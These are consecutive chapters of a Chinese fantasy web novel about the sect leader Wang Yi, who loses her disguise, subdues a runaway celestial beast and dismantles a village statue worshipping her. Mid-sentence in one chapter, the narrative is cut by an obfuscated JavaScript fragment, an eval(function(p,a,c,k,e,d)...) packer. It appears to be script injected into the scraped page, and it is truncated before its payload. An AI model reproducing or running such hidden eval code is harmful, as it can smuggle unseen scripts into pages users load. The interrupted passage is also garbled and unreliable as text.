阎王还命汤岂非浪得虚名?墨色汤汁飞流直下,死鬼喝了也没有再躺着的理儿。 刚灌一口,就见凌延卿眉头微动,他骤然坐起身,“噗”地一声,尽数喷在灌汤人脸上。他呛得连连咳嗽,正想道歉,仙君优雅地抬手制止。 尘芳放下汤碗,慢条斯理地擦掉脸上的水渍,闭着眼睛,镇定道:“不必在意,你醒了就好。”然后像个盲人,摸索着旁边的桌子,似要出去。 妄一快步拉过他,问他干什么去? 尘芳脸上保持体面的笑容,嘴唇僵硬道:“你的汤威力之猛,绝命毒师都做不出精妙配方。我再不去冲洗冲洗,晚点你怕是要多个瞎子老哥!” 这话听着夸张,可眼睛里的火辣却是真的。 仙君后来问凌延卿被逼醒的感觉如何? 他答躺尸的这几天,虽不能睁眼,但能听到别人对话,也能自主思考,只是不能做出反应罢了。另外眉心的位置总感觉涨涨的,不知是否强行灌入法力的缘故,隐隐有种炸裂的痛感。 妄一叮嘱他好生休养,凌延卿承受了不属于他的力量,定然连副作用也要一并接收。如果他说身体一切如旧,那才是了不得的大事。 可择英会已过,凌延卿得到了录用资格,先前转移给他的功力是不是该还回来了? 尘芳皱眉摇头,说借通天运出去的法力,只能等它自行归位。至于要多久,少则三五天,多则半个月。听得妄一瞠目结舌,直呼魔界之物是多不靠谱的东西。 尘芳窘迫道:“老弟此言差矣,东西是靠谱的,只是有些见不得光,老哥半路出家学的修补工匠,火候有所欠缺吧。” 妄一撇嘴道:“仙君上回给我的丹纹神笔倒是不错。我上次就想问你了,这笔是什么来头?既能用以联络,还能化作长剑斩妖除魔。”他将笔取出来,直夸神笔得简直是技多不压身。 “什么斩妖除魔?”尘芳眼神带有些许陌生,他接过笔凝视片刻,讶然道,“它在我那儿吃了许久的灰,时隔多年,你说它在你手里化作长剑了?” “......仙君不知吗?” “不不不,也非全然不知!它是我因缘巧合下得到的,我知晓它原身样貌如何,但在笔架上放置多年,毛笔仍是毛笔,不见变化。” 尘芳还道自己是被传言欺骗,没想到借给妄一,阴差阳错的开了窍。 “想必有灵气的东西都挑人,它甘愿为你驱使,那你便留着自用吧。” 妄一摆手而拒,无功不受禄,何况尘芳的东西也不是大风刮来的,不能总白拿他的。 “你瞧瞧你,和老哥客气什么?你还了我,它依旧只是一支毛笔,发挥不了大作用,不如跟了你,有它的用武之地。” 尘芳执意,妄一犟不过,便不再推辞,并留他在莲烨门用饭。 这本是一片好意,但尘芳看看老弟,以及在边上反胃到虚弱的狐狸。凌延卿尚未康复,也不能叫其下厨,那只能让本门当事人亲自...... “哎呀呀呀,兄弟美意,可我今晚与别人有约,得赶紧过去了。下次吧,我们下次再聚!” 仙君迈开一双长腿,走得比谁都快,妄一在后头喊了几声,像老虎追似的。 凌延卿牵挂着院子里的胡菜地,次日就下床了。妄一教他调养气息的口诀,他没了之前病恹恹的样子,松土浇水都有力气。 妄一站在檐下静静地看着他,不知不觉有个想法冒出来,与他商量:“你现有本事傍身,出去无人敢欺,我有件事,或许能让你代劳。” 凌延卿专心照料菜地,微微侧过脸,问什么事? “一件小事,对你来说不成问题。”妄一顺着话说下去,“御朝门与我素来有仇,此次波折就是承英作出来的,我想揍他很久了,你得了我的功力,不如替我去较量较量,让他长长记性,也为你我二人出一口气。” 两位掌门心思各异,几十年的同僚,仇怨却越积越深。奇怪的是这些年他们暗招过了几百来下,其中包括耍嘴皮扎心,使绊子恶心。但真正舞刀弄棍,一绝高低的情形,几乎一次都没有。 可见,两位掌门都有理智,谁先沉不住气动手了,谁就理亏。再有一点,传到白水娘娘那儿去,也不是高雅光荣的事。 但让凌延卿出战,情况就不同了。 “别怕,承英就长得中看些,他师承舍离门,但我也不差,你可以问问阿辞,我当年待过的疑川门实力如何。” “这恐怕有些不妥,我......” “行了,知道你没打过架,缺乏作战经验,你就算打不过他,我也不会怪你的。而且你放心,他一个掌门如果敢对你起杀心,我一定出面为你做主。” “但是万一......” “没什么好万一的,我看你是个练武奇才,生前被病体所困,如今有了力量傍身,就不想舒展一番吗?” 妄一几次剥夺某人的说话权,凌延卿垂着眼皮,盯着菜苗,沉默了。 妄一正在兴头上,他必然忘了神欲鬼京地域特殊,苍鸯殿制定的几册法律都以早先的《鬼京律例》为基础。书中有这样一条:教唆他人滥用暴力,造成实际影响,以共犯论处,杖三十,服役三年。 他这教唆还不知成没成功,可是报应很快就降临了。 虽经此一遭,妄一失去九成功力,精神头却不错。直到隔天又是一个宁静的早晨,胡菜地绿苗生长,一副万物美好之貌。有一红衣女子蹲在小院的水缸前,反复揉搓,反复确认。 “天杀的发生了什么?!”她脸上惊恐无比,喊叫声在莲烨门回荡,远处群鸟扑棱着翅膀。 水光潋滟中,妄一蹙着眉,双手扒着自己的脸皮,表情几乎魔怔。明明头上的红发绳还在,遮掩的术法却失效了。排查近些天做过的事,她最后把原因归结于那一勺还命汤上。 因当时众人强烈抵制妄一的厨艺,她不服气。尘芳走后,她偷摸尝了一勺,就一勺,人没毒昏过去,但出于人体自身的保护,味觉消失了一阵工夫。 妄一双手撑在水缸边,发了一会儿怔。早知如此,她就不该动勺子的,虽然其中必也有借通天的锅,如果没渡法力出去,她又怎会被一碗汤羹的邪气入侵? 为不让人认出身份,她将红发绳换了个系法,另再拗一根树枝,把长发盘起。 突如其来的遭遇,妄一只盼一切如尘芳仙君说的那样,至多半个月,借通天就会归还法力。如果中间遇白水娘娘归京,那就再好不过了。 她朝脸上泼了几捧水来冷静,今天是锁金门把南路狱交接给莲烨门的日子,她不能缺席。 神欲鬼京三大监狱:南路狱、西井狱、北崖狱。 西井狱和北崖狱常年由恨殊大人监管,所以南路狱的轮值不由他操劳。如此剩余的十二位掌门,一月轮一个,刚好一年整。 凌延卿大清早就出去了,身边无人,妄一只好亲自跑一趟,让锁金门久等可不好,这位掌门最喜欢念叨“一寸光阴一寸金。” 她将日常穿着的红衣袍收起,在柜子角落取出一套衫裙。 莲烨掌门原无此物,会放在柜中,纯属因为阿辞多年前的一段情史——为讨某个女子的欢心,特意买给她的。 可是受那场雷劫牵连,阿辞身材不如别的男子伟岸,姑娘没接受他的好意,他郁郁寡欢几日。老家与阿辞同岁的狐族青年都有了狐子狐孙,而他的修炼止步于人身狐狸头,求娶之路怕是漫漫无期。 妄一当 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“没事没事,姑娘想买我的簪子,走寻常路就行,犯不着行翻墙这等危险事儿。”她因鱼尾刚化成腿,走路还不太习惯,一瘸一拐走回摊边,开始今天第一笔买卖。 “......我不是来买东西的,我有急事才翻墙的。”妄一闪身想走。 “别介呀,相遇就是缘,不买看看也行!我虽是小摊贩,做工可不比那些正儿八经的店子差呢。”好不容易来个客人,珍姐儿自当牢牢把握,“姑娘的气质和打扮,最合适这支蜜花白玉钗如何,不信你看看嘛。” 钗上镶嵌几朵晶莹剔透的蜜花,一弯白玉之下,坠着几颗淡色珍珠。她飞快把钗戴在妄一发上,说这个年纪的姑娘最是爱美,此钗还有旺桃花之效! 珍姐儿动作娴熟地捧来镜子,妄一摆摆手,说:“不看不看,我得快些走了。” 各人都有各人的审美,因为不买,她就不看,节省大家的时间。 可她还没来得及把钗子取下来归还,附近突然传来一声“轰隆”巨响,震得地面都微微发颤。妄一动作一顿,其他路人也不约而同往声音的方向望去。然后又是巨大的一声,像是东西倒塌之故。 妄一推开珍姐儿,快步跑去查明情况。 珍姐儿不肯罢休,只因钗子还在她头上,可惜动作慢了,只拉下她颈间那块长巾。 因腿脚不便,珍姐儿只得气得抡拳捶胸,大喊:“我的钗啊我的钗,生意还没开张,我就先倒大霉了!” 已然跑远的妄一满心牵挂那声巨响,自没想起这档事。 她心急如焚跑到事发现场,新天街上树倒木折,几处墙面均有不同程度的破洞,瓦砾废墟中,有头模样凶悍的巨兽正在四处流窜。 妄一俯身走近,只见此兽形如狮虎,通体金黄,尾尖带有一缕赤色鬃毛,此刻好像发了狂,不停地打滚叫嚣。 她躲到一边,暗自咬牙暗骂御朝门的人都是吃白饭的,眼睛都瞎了吗?这么大个猛兽都能放进来。 再看巨兽身上那件绣着祥云纹的金色小衣,便知它是有人特意饲养的。 “别......别吃我,我十天没洗澡,浑身都是狐臭味,还肉少骨头多,一点儿都不好!”废墟里传来阿辞的惨叫声。 猛兽叼住他的裤腿,把他拖到平地。 新天街本就人烟稀少,阿辞嘴馋来买点零嘴,不幸被这家伙盯上。该求饶的话都说遍了,也不知它能否能听懂,哈喇子滴答滴答掉在狐狸身上,阿辞险些哭晕过去。 左右逃不出魔爪,阿辞想着干脆装死试试,可这家伙没轻没重,爪子压得他胸腔都要扁了。 情势危急之下,妄一随手抄起商贩支摊用的竹棍,狠冲而去。速度之快,让人只能看到一抹残影。 她一棍重敲在猛兽头上,虎口顿时发麻,竹棍随着稀稀落落的木屑,断成两截。 阿辞因此获救,那大块头转过身,两只拳头大的眼睛,怒火熊熊地瞪向妄一,显然是被彻底激怒了。 44. 新天街上降猛兽 见是大人前来营救,阿辞顿时感激涕零,虽不知其为何是女相,他仍惊呼:“大人,您现在法力不全,不可强撑!” 妄一扔了残棍,毫无畏惧道:“阿辞,你有力气就找个地方躲远点!” 莲烨大人毕竟身经百战,加上随身携带的伏影锁,面对这凶猛的家伙,总能抵挡一二。 这条街弄出那么大的动静,她再坚持坚持,便能等来援军。在此之前,她尽量减少灵兽造成的破坏。 伏影锁一出,气势凛冽不逊分毫。锁链随着她的动作,“哗啦啦”飞过去,绕着短胖的兽颈,捆了三圈有余。 猛兽仰头一声暴吼,像传说中的音波功,震得街上门窗呼啦啦作响。它伸着前掌,不停地挠着锁链。 阿辞躲在一辆侧翻的板车后瑟瑟发抖,妄一驱使法力从指尖源源不断地输出。起初她还能支撑,可时间一长,灵力耗损加剧,就有点挡不住了。 锁链的光辉逐渐黯淡,猛兽仿佛察觉到这一点,挣扎得更欢了。 援兵未至,法力将要枯竭之时,妄一体内又似乎苏醒另一种力量,如泉涌般续了上来。 这力量究竟从何而来?像是她的,又好像不是她的,生成的白色之气,默默帮她制衡局势。 妄一散去发髻,整个人被柔和白光包裹。 白气有祥瑞和平之意,猛兽在它的安抚下,情绪竟慢慢冷静,收起了咧着的尖牙。 阿辞亦惊呼:“大人,您这......天呐,您这是要飞升了?!” 妄一亦是茫然,只觉筋脉间流转着陌生暖流。 后赶来的人看见这画面,皆为之一愣。缃裙姑娘是何方人士?她施展的功法根本不属于鬼京,甚至还有些格格不入。 撞坏了诸多东西,猛兽早就累了,它闷哼一声就躺在地上,像在耍无赖。 阿辞看救兵们愣着不动就来气,扯着嗓子大喊:“你们傻了?不知道干嘛来的?还不快上去制服这头家伙!” 承英和一位老者姗姗来迟,在他们的允许下,那些持刀的差役才上去动手。 老者精神矍铄,看着空中还未彻底消散的白气,稀罕道:“啧,没想到在这儿还有人拥有愿力啊。” 妄一收了手,翩然落地。转头看去的瞬间,不免讶然道:“司命老爷?你怎么这儿?” 以她的逻辑,仙人之中,除去尘芳仙君在鬼京有差事,其他人可不会到这儿串门。司命老爷的出现,八成是为了这头闯祸的家伙? “这条街不是姑娘所开,我一个外来的老人家为什么不能在这儿?”司命老爷故作玩笑。 阿辞不满他的语气,走过来呛声:“嘿,你这老头儿跟我家大......大姐怎么说话的?!要不是她出手,还不知道要出什么大乱呢!小爷我刚才差点就命丧它手了!” 承英也在瞧这名陌生女子,他知晓阿辞是常往莲烨门走动的野狐,但这女子是谁?他没见过不说,为什么还携带伏影锁? 妄一未理会他,只对司命老爷挤眉弄眼道:“您不记得我没关系,但前阵子仙子的事,您没那么快就忘了吧?” “咦,莫非你是.......”司命老爷扬起花白的眉,仔细辨认。 “是我。”妄一抬手比了个交叉的手势,请他保密。 司命老爷心中了然,虽不解当日的郎君为何要扮成女娃,想来可能是有点爱好在身上,他也不拆穿,只说:“原来是熟人,这么快,我和小友又见面了。” 承英听不懂他们的哑语,眼看罪魁祸首已被捉拿,他提醒司命老爷要如何处置? “噢!憨憨!”司命老爷转过身懊恼道,“年纪大了,差点把正事忘了!还请御朝掌门吩咐下去,叫他们把憨憨送我府里,长空街尽头左转看到的第一堵墙,我设了通往的法阵,还在墙上挂了两个红灯笼。” 在场差役都是承英带来的,一声令下,他们训练有素,须臾就将现场处理得干干净净。只是这条街还要单独围起来,整顿几天。 阿辞不知这老头儿从哪儿冒出来的,但看周围人对他毕恭毕敬,也识趣地缩在一旁不出声了。 司命老爷尴尬道:“让你们见笑了,憨憨是白誉宝殿养的宠灵,我上次去天庭,见它可爱便与它游戏一会儿,谁知它竟跟在我身后一起回来了。要不是我为人方正,与谁都能和睦相处,否则别的仙友都要怀疑我行拐骗之事。本来小东西在我那儿待着,日后有空,我再将它送回天上便是。谁知它趁我不注意,溜到鬼京来。它以往脾气温和,但今天莫名活泼了点儿。” “......嗯,是,是挺温和的。”妄一干笑着回应,暗叹怪不得它这么大脾气,原来是真君饲养的。 御朝门的人手将灵兽五花大绑,防止它再度作妖。 司命老爷见了,顿时翘着胡子说道:“哎哎哎,干什么这是?它有罪也不是这么个绑法!” 灵兽委屈巴巴地看着他,司命老爷敲了敲它的脑袋,低斥一声:“小顽皮!” 这一敲,灵兽高大威猛的身躯瞬间变得只有土豆大小,司命老爷把它收进宽大的袖子,小声道:“得了,还是我亲自把你提回去才放心,不然你皮肤娇嫩,受了伤,我还要向真君请罪。” 这句话不长不短,声音不大不小,正好飘入妄一耳中。她神情略微窘迫,毕竟自己刚刚一棒子打在灵兽头上,可是声音脆响的呀。 承英留在此地盘查街坊损失,司命老爷拱手对他告辞。 “这次给你们造成麻烦,多亏御朝掌门相助。等白水娘娘回来,我一定亲自赔不是。” 承英除了对妄一不好,对别人都是友善客气的。他拱手回道:“能为仙人尽绵薄之力,乃承英之幸。区区小事,不足挂齿。”而后他又看向那女子,但人家依旧不屑于回看他。 妄一是男相时,他们站一起可以平视,化为女子后,身材仍为高挑,但比承英矮了半个头。 “这位姑娘是?”他终于还是开口询问了。 妄一语气平和且疏离:“一介俗人,自我介绍的就不必了。” 她没有言明身份,承英脸色微变,听她说话的语气与某人极为相似,还有野狐狸叫她什么来着.....大姐?这是哪门子的大姐? 等他想再追问,人都走远了。 妄一邀司命老爷到莲烨门小憩,司命老爷闲来无事,自然乐得一去。 一进门,碧绿的湖泊浮光跃金,湖畔四周则芳草萋萋,小院坐落在湖心岛,显得清幽安逸。 “小友,你这住处真是世外桃源啊。”司命老爷轻抚胡须,不吝夸奖。 凌延卿早在茅庐里生火做饭了,阵阵菜香从窗子传出。司命老爷袖口微动,知道灵兽在里面憋坏了,心下一软,便将它放出来。 庞然大物将要现身,阿辞往大人身后避。可灵兽出来后,压根没瞧他,而是在草地上滚了一圈,撒开蹄子到处奔跑。 “憨憨慢点跑,不要惊扰到花花草草!”司命老爷的眼神宛若看着顽皮孩童。 灵兽正疯头上,没有束缚,它就像脱缰的野马,闻到茅庐传来的香气,一路飞驰往屋里奔去。 司命老爷道:“我之前把它关宅子里关久了,跑到外面,确实太皮了些。” 妄一嘴上说“无事”,脚程却加快一些。 待她走进茅庐,灵兽并未对凌延卿下手。它趴在脚边吃五花肉,吃完感觉油腻,还得再找棵大白菜,和在街上的逞凶劲截然不同。 凌师傅手握铁勺,有序出锅。见妄一模样有所不同,他目光多停留一瞬,随后微笑道:“你回来了。” 最后一道菜出锅,午膳便准备妥当。妄一没告知要多带个客人来,故而这些份量大约不够。想再去买点现成的,可昨儿刚给的买菜钱,今儿就花光了。没办法,凌师傅只能再加个炒鸡蛋。 妄一扫了眼桌上的菜式,没有熊掌鹅肝,也没有燕窝鲍鱼,问他是不是鬼市那帮黑心摊子又犯浑了? 他答:“不是,是我回来的路上碰到一个人。” 那人哭诉这几天生意不好,早上好不容易来个年轻姑娘,原以为要开张了,结果姑娘戴着钗子就跑了。 他问钗子多少钱?不多不少,正好是他袋里的数儿。 她哭得实在 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司命老爷在院子里微微弯着腰,观赏那片菜地。 莲烨门景致如逍遥山水,妄一招呼他入座,他却请求在院中用饭。 灵兽对他们聊天不感兴趣,它在天上时就憋坏了,到了无拘无束的地方,必然得敞开性子使劲欢。累了就卧倒在凌延卿的后面,摇摇尾巴,喘几口气。 妄一问司命老爷“愿力”是什么?是指她牵制灵兽时,指尖涌现的陌生白气? “小友不知道吗?”司命老爷低头饮了口汤,“愿力来源于众生,有人信仰你,将你奉若神明,就会形成一种信仰力量追随你,终其一生为你所用。小友好好想想近期做过的事,哪件使你结下了众生之缘?” “应该没有吧......”妄一有些茫然。 司命老爷道:“看来你无从得知它的来处啊,不急,我来帮你找找吧。”他放下筷,手指轻捻就从妄一身上揪出一缕白气,甩袖就朝半空一挥,呈现出虚幻的影像。 画面里,白气如同飞箭在云里穿梭,它横跨荒野,行了许久后,才像雨滴一样,往下坠落。 它坠落的地点似乎是一座村庄。 妄一越看越觉得眼熟,白气钻过路上的枯枝树叶,穿过村里的小巷弄堂,哪里都不是它的归宿,直到最后慢悠悠地落在一座泥像头顶。 那泥像和人一般大小,用料不怎么好,技艺也有些粗糙,难得的是腰间镶嵌一枚琉璃坠,一看就明白这是座女神像。 “我天,这是哪位仙子的尊荣?还有那身前躺的是什么?怎么像狗又像猪?”白气不会无故落在这里,慢慢地,阿辞仿佛推测出一件很恐怖的事,惊声道:“难不成这是我家大人啊?!” 答案显而易见,凌延卿和司命老爷转过头,注视妄一。 妄一看着泥像,迟疑道:“这是怀池村?”她曾披着余菀意的身份去过。 司命老爷没说“是”与“不是”,便见有个妇人携孩子来跪拜,她恭敬地将包袱里的供品排列整齐,然后开始了祷告。 “巨狐大仙,保佑我家小儿身体康健。” 妄一认得此人是怀池村的刘姐!自己因半路救治了她儿子,被请到家里杀鸡款待。妄一临走留下的那枚琉璃坠,是想让他们改善生活,可他们却工整地镶嵌在泥像上。 “奇怪,她跪的是我家大人,又为什么取名叫作‘巨狐大仙’?狐狸是我,大仙是大人,不一样呀!”阿辞眼神充满了疑惑。 妄一沉思道:“我大概在村子里留下了传说,但他们称呼我为巨狐大仙......难道是因为阿辞上回接我们走,路过村庄的上空,被他们看见了?” 村里人本就对她加以敬重,而且普通人怎会骑在一头会飞的巨狐上呢?尤其她还救了薛屠夫一家,薛老爹得救后,肯定也托梦告诉儿子了。 小村子本就少见奇人异事,忽有仙人亲临,大伙赶忙捏了泥巴像,虔诚地供奉起来。 司命老爷笑着说:“你当日下凡本无施救之命,一时的善因让他们铭记在心,反馈你信仰之力啊。” 45. 话聊信仰之力 司命老爷稍作休息就要告辞,走时想把灵兽带上,可它格外喜欢这里,司命老爷过去追它都不得行。 小东西溜出来一趟,贪上了外面的新鲜劲。司命老爷不再强求,他回过头,厚着脸皮问妄一,能否让憨憨小住几天?给小友看看大门那都不在话下。 妄一正当犹豫,阿辞率先扔出反对票:“不行!我不同意!”他兽口逃生没多久,这会儿还心有余悸。 妄一看他一眼,就算阿辞没反对,她多半也是要拒绝的。 莲烨掌门开销拮据,以灵兽的体型,非家境殷实者恐难以养活。还有最重要的一点,她总觉得它有意无意在瞪她。 “憨憨饭量大也是没办法的,这点儿道好说,我每日叫人送瓜果蔬菜来,保管花不着你兜里一文。”司命老爷赔笑道,“至于它态度问题,你们刚见面就大打一架,它心里有气,但过几天也就消了。你瞧,这后生跟它相处得很愉快呢。” 凌延卿停下抚摸它天灵盖的手,咳嗽一声,支起腰背:“我去忙,你们慢慢聊。” 灵兽翻了个滚爬起来,跟着凌延卿走。 妄一正色道:“司命老爷,实在对不住,我门下已有阿辞这只狐,再养一只怕是心有余而力不足。但我想,您也没空照顾的话,不如让它从哪儿来打哪儿去,这样最干净了。” 忽然被点名的阿辞,报以幽怨的眼神。 司命老爷为难地蹙下眉毛,他何曾不想将憨憨送回宝殿?试了多种哄骗的方法,它愣是不上当啊。白誉殿的那位也不心急,只说灵兽自出生就被关在殿里,它既留恋外头的世界,那就待够了再回去。只有这样,才能让它静下心。 “小友啊,过几日我要出远门,听人论禅讲道。憨憨养在你这儿,你就当行一桩善事吧。总之这份人情,老朽肯定会记下的。” 憨憨正是活泼好动的年纪,养在宅子里无人看管,不是今天挠坏了哪面墙,就是明天咬坏了哪棵树。它还不会说话,只能通过这些举动向人宣泄不满的情绪。 老头儿好说歹说,一番恳求。妄一联想上次他大方给予功德,只好勉强答应。 司命老爷临走前,摸索一把身上,找出来个铜镜送妄一。此镜非凡尘俗镜,是有照妖之能的。 东西虽稀罕,但给妄一有什么用?拿出去,神欲鬼京最不缺的就是妖魔鬼怪,正常的人倒是难找几个。 可若不收下,司命老爷就不放心,怕四下无人会将灵兽驱赶出去似的。 “这是我的一点心意,小友不拿它照妖,就当寻常的铜镜,照出来的镜像清清楚楚干干净净。” 这倒是,妄一拿在手里端详,对镜子的清晰度十分认可。 半空中,有关怀池村的景象还没彻底散去。司命老爷走后,妄一抬头望得出神。 凡人信仰的东西千千万,有信神仙,有信佛陀,还有信山间精灵与历史传说。可妄一得到的愿力,无法转化成消去咒痕的功德,况且她自己的烂摊子都解决不了,哪有精力聆听信徒的心愿? 思前想后,与其未来会因“光受香火,不办实事”被扔臭鸡蛋,不如自己先去砸了泥像吧。 阿辞表现不太情愿,他们又没冒领功劳,留仙寨本就是他们剿的,为何不能受村民爱戴? “我心意已决,泥像是非砸不可,众生通过信仰形成的力量,或许会在天庭的卷宗里留下痕迹,到时被人查起,又是一桩麻烦事。” 普通人得到愿力表明修行已经小有成效,但妄一与别人不同,她深知这不是她该贪的东西。 “行吧行吧,他们给您塑像也是您出的大力,您说怎么办就怎么办吧!”纵有万般不舍,阿辞只得同意。 可他刚把话说完,半空的画面又有个男人走来。 “您看,您看,又来了一个您的信仰者!”阿辞指道。 “不必理会,”妄一捡了颗石子,要散去空中景象,“我决意不当那什么破仙,他和我就没有关系。” 凌延卿碰巧见此情景,忙说等一等,他想看看这个男人是为何事而来。 此人看似是来参拜的,两手却是空空的。 他双膝跪地,虔诚地对泥像叩拜,说要去赌坊碰碰运气,恳请愿巨狐大仙保佑,让他先赢个二两银子,届时再补上供品。 他衣裳遍满补丁,料想是嗜赌的缘故,连供品都拿不出了,还不吸取教训。妄一愈发觉得砸泥像的事,择日不如撞日。 不过在此之前,她狡黠一笑,招招手,让阿辞跟着这个男人走一趟。到了赌场,随便使点障眼法,不论赌几次,反正让男人逢赌必输就是。 “嘿,您真会挑人,指明我去捣乱。”阿辞瞅她。 妄一打趣道:“谁叫你才是我的首席信徒,对我的旨意唯命是从呢?” 阿辞长哼一声,面上不满,但还是顺了顺毛发准备出发。 “且慢!”凌延卿出言道,“我看他佝偻着背,面容黑黄,应是辛苦劳作之人,许是有什么难言之隐......” 妄一不以为然,对一个赌徒,能有什么好期待的?但她也没急着动手,姑且看看这个男人求的二两银子,是为什么。 男人在泥像前拜了许久,因为没有上供之物,所以心怀愧疚,直至画面里另一个人出现。 “阿牛,我们走吧,你这份诚意,大仙肯定感受到了。趁太阳没下山,我们赶紧去赌场搏一把,晚了天黑,村路不好走!” 那个叫“阿牛”的男人点点头,讨好道:“哥,如果赢来二两钱,你就是我的大恩人,我一定记着你的好。” “说这话干啥?我们同村互相帮忙是应该的,只要有二两银子,你就能去找方神医看病了。你把本钱放心交给我,我今天风头不错,那赌场的庄家跟我还是远亲呢。” 阿牛摸了摸怀里的积蓄,万分不舍地交过去。他的病在身上有些日子了,看过郎中都说是不治之症,瞧他的气色应该只剩几个月能蹦跶了。他听说城里有位方神医,便想去试试,可是人家的诊金费出奇的高。为了活命,他独自一人又是凑,又是借,最后还差好大一部分。 原是走投无路的天涯苦命人,妄一稍微收敛了轻蔑之色。她咳嗽一声,道:“不行,我还是不能帮。” “对,不能帮。”凌延卿附和道,“靠赌博赢来的钱不长久,这次助他渡过难关,下次若再遇到,仍要踏回这条老路。长期一来,倘若成瘾,不就违背大人初心。” 妄一点点头表以肯定,赌博这东西沾上容易,摆脱比登天还难。 “但事出有因,大人或许能行个方便.......”凌延卿话锋一转,引出后话来,“我看他跪在泥像前,话里是求赌运,但细想是为他的病情求一丝转机,二者并无冲突。” 阿辞挠挠脸,说:“所以我先害他输钱,然后再去治他的病吗?” “是啊,凡事有始有终就再好不过了。大人救了第一个人,那便救最后一个罢?”凌延卿语气放软,似在恳求。 妄一显得有些支吾,转身背过手,道:“你们要做什么,我都不要求,反正我要的结果只是砸了泥像而已。” 凌延卿笑了笑,道:“大人英明。”他差遣起阿辞,“狐兄弟也占那大仙一半的名头,故而这件事便交由你吧。” “我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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凌延卿微微怔愣一瞬,以为会感慨几句,没想到他只说了句“多谢告知”。 他的眼神如一汪江海,在他们离开后的一段日子,公子延卿亡故的消息不胫而走,与颦夫人受不了二次打击,后来自缢了。 妄一把想安慰的话吞了回去,虽觉得意外,但又明白凌延卿的反应是在情理之中。 他没有记忆,告诉他戊斯亡了又怎样?就算齐允没了,他也不会如何。一个国家的兴亡昌盛本就与他不相干,他不会为此而感慨,因为这是天数,是命定。而戊斯的消亡,是结束,亦是开始。 只是妄一没告诉他,引起这场亡国之灾的导火索正是这位质子本人。 说来可悲,公子延卿活着的时候被父亲利用,死了也不被放过。齐允国主更没多少悲伤。也是,他有别的健康强壮的儿子。他正愁没有理由宣战戊斯,如今儿子的死刚好为他找了个借口,他命群臣在这上面大做文章。 戊斯国主知道后气得直跺脚,在朝堂上痛骂齐允贼子卑鄙无耻,奈何人家现在兵力强盛,便割让几座城池,以示宽慰。 这点蝇头小利并不能让齐允国主见好收好,帝王和百姓最大的区别可不是投胎,而是深不可测的野心。 逼宫那日,余将军率领将士负隅顽抗,双手难敌众拳,忠烈殉国。齐允国主佩服其不甘屈服的精神,允他体面下葬落坟。 没了余将军,朝中防卫一片混乱,戊斯国主沦为齐允俘虏。 余莞意的结局,不用明说也知是何等凄苦。她没了丈夫,后又没了父亲,昔日有头有脸的王公贵族争相奔走,戊斯国成了一片乱世,她空顶着一个王室的头衔,却已孤苦无依。 妄一郑重地对凌延卿道:“好了,这下你和生前的事彻彻底底都断绝了。从今往后,你和我安安分分待在鬼京,直到咒痕解除那日。” 46. 值守牢狱验身手 阿辞从人间来回,事情办得又快又稳妥,临近傍晚便来和大人汇报情况。 他按意思,让那阿牛在赌场里输得昏天黑地,同行那人还劝他回去再凑凑钱,万一有东山再起的机会呢。阿牛虽是庄稼汉子,但脑子还算清醒,本钱都输进去了,整个人如霜打的茄子没有应答。归途中,他碰见阿辞在路边“哎呦哎呦”地叫苦,明明自身难保,但他依然上前关心几句,好心地将阿辞带回家。 后续水到渠成,阿辞以答谢为由,把他治好了。就是个简单的病症,也不知怎么被传成不治之症。药郎仙的一颗丸子下肚,保准小痛小病,全部药到病除。 阿牛感激无比,都要跪下磕头了。阿辞虚扶一下,摘了帽子,露出本来面目。 这一露可不得了,火红的狐狸头,还尖牙利齿的。 阿辞故作高深,问凡人为何惊惧?适才在泥像前祷告,可不是这态度。 哦!原是大仙显灵!阿牛一张沧桑的脸激动万分。 装够了仙家瘾,狐狸才正色道:“你能脱困也是你没对别人的痛苦见死不救,但我除了来救你性命,还为了另一件事。你们小村子私立泥像供奉我家大人,可她根本无心成仙,有那泥像存在一日,我家大人的耳根子就无法清净一日。”他说得一本正经,跪在地上的阿牛大气都不敢喘。 到最后,阿辞命令他去撤走泥像,并且今后供谁都可以,唯独不许再供他家大人。 阿牛被吓得一愣一愣,巨狐大仙的坐骑亲自现身说法,他一介种田汉子哪敢不从? 阿辞事成归来,和妄一说起时,语气里还带着几分不舍。妄一理解他的心情,能被世人信奉,又以“仙家”之名供奉,是每个精怪一生中的最高成就。 “大牛也是傻,他把我带回家中,认定自个儿时日无多,因我安慰他两句,他一感动,说家里那些锄头镰刀都没用了,要全部送给我。”阿辞叹道,“我嘴欠,我让他养好力气后,就用这些庄稼农具把泥像掀了吧。” 妄一点点头说:“他心地不算赖,但阿辞你说了那么多,一直站在院外不进来是为何?说完就急着走了吗?” 从见面到现在,狐狸靠在栅栏门边,半步不肯踏入。 “呃,我那什么,我站在这儿和您说话就成。”阿辞东张西望,因灵兽寄养于此,他有所顾忌。 妄一笑他一朝被兽压,十年躲着走。那天在街上起的乱子,恨殊门已将事情原委调查清楚了,是灵兽误食晾晒的红辣椒,故而发狂。但让她不解的是,阿辞化回原型并不比灵兽小,怎么当时那般害怕,任它压在脚下? 阿辞苦恼道:“它是天界灵兽,我是山间走兽,人家生活在仙气充沛的地方,琼浆玉露滋养长大,我这只野蛮生长的狐狸能不自量力吗?” 灵兽高傲,他示弱说不定能捡回一命,如化回巨狐,便是抱着一争高低的决心。 “莫怕,它无非是有神仙做靠山,可主人在十万八千里的天庭。况且它在这里闹出性命,堂堂真君岂能当着这么多双眼睛起包庇之心?”妄一依旧语气轻松,“我一门之掌,它既进这条门槛,就得知道这里姓什么。司命老爷叫它憨憨?我寻思这名字虽然顺口,但配不上莲烨门的行事作风。” 她摸着下巴思索,想到初遇时,她一棍子偷袭人家脑袋,便和阿辞商讨,要不叫它“铁头”吧?一口气撞坏街道一堆东西,也不枉取这名儿了。 阿辞随便哼哼两声,应付道:“管它叫铁头,还是叫铁肺,我只希望大人早日把它送回去。” 妄一劝他不要这么排斥,现在多看几眼,之后大概就不会经常看见了。 “为什么?大人难道给它找了别的寄养所?” “算是吧,你看南路狱像不像给它找的新的寄养所?” 妄一是在下午时分才想起南路狱交接一事,当然也不是她自己想起的,而是锁金门的人直接来送钥匙了。 锁金门掌管苍鸯殿乃至对鬼京的收支情况,近来着实要忙碌些,灵兽造成的破坏,后续的修葺都不简单。 